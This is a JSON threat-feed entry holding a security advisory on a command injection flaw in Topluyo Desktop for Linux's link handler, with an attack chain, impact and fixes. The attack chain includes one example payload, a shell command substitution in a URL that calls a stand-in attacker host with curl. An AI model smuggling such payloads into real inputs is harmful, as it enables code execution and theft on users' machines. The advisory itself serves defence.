{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata. Fed continuously.","favicon":"https://feed.craftedsignal.io/favicon-32x32.png","feed_url":"https://feed.craftedsignal.io/products/topluyo-desktop-for-linux--2026.9.2410/feed.json","home_page_url":"https://feed.craftedsignal.io/","icon":"https://feed.craftedsignal.io/apple-touch-icon.png","items":[{"_cs_actors":[],"_cs_cpes":["cpe:2.3:a:topluyo:topluyo_desktop:*:*:*:*:*:linux:*:*"],"_cs_cves":[{"cvss":9.6,"id":"CVE-2026-115904"}],"_cs_exploited":false,"_cs_has_poc":false,"_cs_poc_references":[],"_cs_products":["Topluyo Desktop For Linux (\u003c 2026.9.2410)"],"_cs_severities":["critical"],"_cs_tags":["rce","command-injection","linux","desktop-app"],"_cs_type":"advisory","_cs_vendors":["Topluyo"],"content_html":"\u003cp\u003eTopluyo Desktop for Linux contains an OS Command Injection vulnerability (CVE-2026-115904) in the \u003ccode\u003eopenExternalLinks()\u003c/code\u003e function within \u003ccode\u003eutils.js\u003c/code\u003e. The application improperly neutralizes user-supplied URLs before passing them to the \u003ccode\u003echild_process.exec()\u003c/code\u003e function, which executes commands via \u003ccode\u003e/bin/sh -c\u003c/code\u003e. Attackers can trigger arbitrary code execution by crafting a malicious URL containing shell meta-characters. The vulnerability was patched in version 2026.9.2410.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker crafts a URL string containing command substitution syntax, such as \u003ccode\u003e$(curl -s attacker.com/id)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eAttacker hosts or delivers the malicious link to a target user via the application interface (e.g., chat, notification, or link preview).\u003c/li\u003e\n\u003cli\u003eThe target user interacts with the link (clicks).\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eopenExternalLinks()\u003c/code\u003e function receives the URL.\u003c/li\u003e\n\u003cli\u003eThe application invokes \u003ccode\u003echild_process.exec(\u0026quot;xdg-open [malicious_url]\u0026quot;)\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe system shell interprets the command substitution inside the URL parameter before executing \u003ccode\u003exdg-open\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eArbitrary commands execute in the context of the user running the Topluyo Desktop application.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation leads to full remote code execution in the context of the current desktop user. Impact includes arbitrary file access, credential theft, persistence installation (e.g., modifying \u003ccode\u003e~/.bashrc\u003c/code\u003e or \u003ccode\u003eautostart\u003c/code\u003e), and the establishment of reverse shells.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade Topluyo Desktop for Linux to version 2026.9.2410 or later immediately.\u003c/li\u003e\n\u003cli\u003eFor developers, replace \u003ccode\u003echild_process.exec()\u003c/code\u003e with \u003ccode\u003echild_process.execFile()\u003c/code\u003e when handling external system commands to prevent shell interpretation of arguments.\u003c/li\u003e\n\u003cli\u003eImplement strict allow-listing for URL schemes (e.g., limit to \u003ccode\u003ehttp:\u003c/code\u003e and \u003ccode\u003ehttps:\u003c/code\u003e) before passing values to system calls.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-11-02T13:26:29Z","date_published":"2026-11-02T13:26:29Z","id":"https://feed.craftedsignal.io/briefs/2026-11-topluyo-rce/","summary":"Topluyo Desktop for Linux versions prior to 2026.9.2410 are vulnerable to OS Command Injection via the openExternalLinks function in utils.js, allowing unauthenticated attackers to achieve RCE through malicious link-handling.","title":"Topluyo Desktop for Linux OS Command Injection (CVE-2026-115904)","url":"https://feed.craftedsignal.io/briefs/2026-11-topluyo-rce/"}],"language":"en","title":"CraftedSignal Threat Feed - Topluyo Desktop for Linux (\u003c 2026.9.2410)","version":"https://jsonfeed.org/version/1.1"}